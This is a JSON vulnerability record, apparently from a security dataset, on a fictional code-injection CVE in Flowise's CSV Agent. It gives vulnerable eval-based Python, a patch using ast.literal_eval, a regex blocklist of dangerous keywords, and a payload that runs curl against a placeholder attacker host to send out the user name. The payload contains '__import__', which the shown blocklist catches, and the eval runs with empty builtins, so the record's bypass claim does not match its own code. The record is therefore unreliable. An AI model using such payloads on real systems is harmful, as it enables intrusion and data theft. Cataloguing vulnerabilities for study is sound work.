{"id":2236,"cve":"CVE-2026-73486","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-73486\/","cwe":"CWE-94","cwe_number":94,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/94","cvss_score":9,"published":"2026-08-13","owasp":"A03 Injection","odc":"Checking","cdc":"Incorrect Check","category":"Input Validation and Sanitization","subcategory":"Command Injection","scope":"Remote","impact":"Arbitrary Code Execution","summary":"Flowise CSV Agent allows authenticated RCE via a blocklist bypass.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-73486\/","description":"Flowise before 3.1.3 contains a code injection vulnerability in the CSV Agent node's customReadCSV parameter that allows authenticated attackers to execute arbitrary Python code. The validator uses a static regex blocklist that can be bypassed through obfuscation techniques, enabling attackers to execute code in the unsandboxed pyodide environment with full system access.","solution":"Upgrade Flowise to version 3.1.3 or later.","affected_component":"Flowise","fixed_by_upgrading":true,"vulnerable_code":"import io\nimport re\nimport pandas as pd\n\n# This CVE is fictional. The code is a synthetic example based on the description.\n\ndef load_csv_from_agent(csv_data: str, customReadCSV: str):\n    \"\"\"\n    Processes a CSV using a customReadCSV parameter which is executed as code.\n    A weak validator attempts to blocklist dangerous keywords.\n    \"\"\"\n    # Validator uses a static regex blocklist\n    if re.search(r\"import|os|sys|__\", customReadCSV):\n        raise ValueError(\"Potentially malicious code detected in customReadCSV.\")\n\n    # The customReadCSV parameter is intended to be a string representation\n    # of a dictionary of options for pandas.read_csv.\n    # e.g., \"{'sep': ';', 'header': None}\"\n    try:\n        # VULNERABLE: The customReadCSV string is executed as Python code, which can be bypassed.\n        options = eval(customReadCSV, {\"__builtins__\": {}}, {})\n        \n        if not isinstance(options, dict):\n            raise TypeError(\"customReadCSV must evaluate to a dictionary.\")\n\n        return pd.read_csv(io.StringIO(csv_data), **options)\n\n    except Exception as e:\n        # Error handling for invalid code execution\n        raise RuntimeError(f\"Failed to execute custom CSV logic: {e}\")\n","patched_code":"import io\nimport re\nimport pandas as pd\nimport ast\n\n# This CVE is fictional. The code is a synthetic example based on the description.\n\ndef load_csv_from_agent(csv_data: str, customReadCSV: str):\n    \"\"\"\n    Processes a CSV using a customReadCSV parameter which is executed as code.\n    A weak validator attempts to blocklist dangerous keywords.\n    \"\"\"\n    # Validator uses a static regex blocklist\n    if re.search(r\"import|os|sys|__\", customReadCSV):\n        raise ValueError(\"Potentially malicious code detected in customReadCSV.\")\n\n    # The customReadCSV parameter is intended to be a string representation\n    # of a dictionary of options for pandas.read_csv.\n    # e.g., \"{'sep': ';', 'header': None}\"\n    try:\n        # FIX: Use ast.literal_eval to safely parse the string into a dictionary.\n        options = ast.literal_eval(customReadCSV)\n        \n        if not isinstance(options, dict):\n            raise TypeError(\"customReadCSV must evaluate to a dictionary.\")\n\n        return pd.read_csv(io.StringIO(csv_data), **options)\n\n    except Exception as e:\n        # Error handling for invalid code execution\n        raise RuntimeError(f\"Failed to execute custom CSV logic: {e}\")\n","payload_needed":true,"payload":"```python\ngetattr(__import__('o' + 's'), 'sy' + 'stem')('curl http:\/\/<ATTACKER_IP>\/$(whoami)')\n```","payload_status":"available","published_fix":[],"references":null}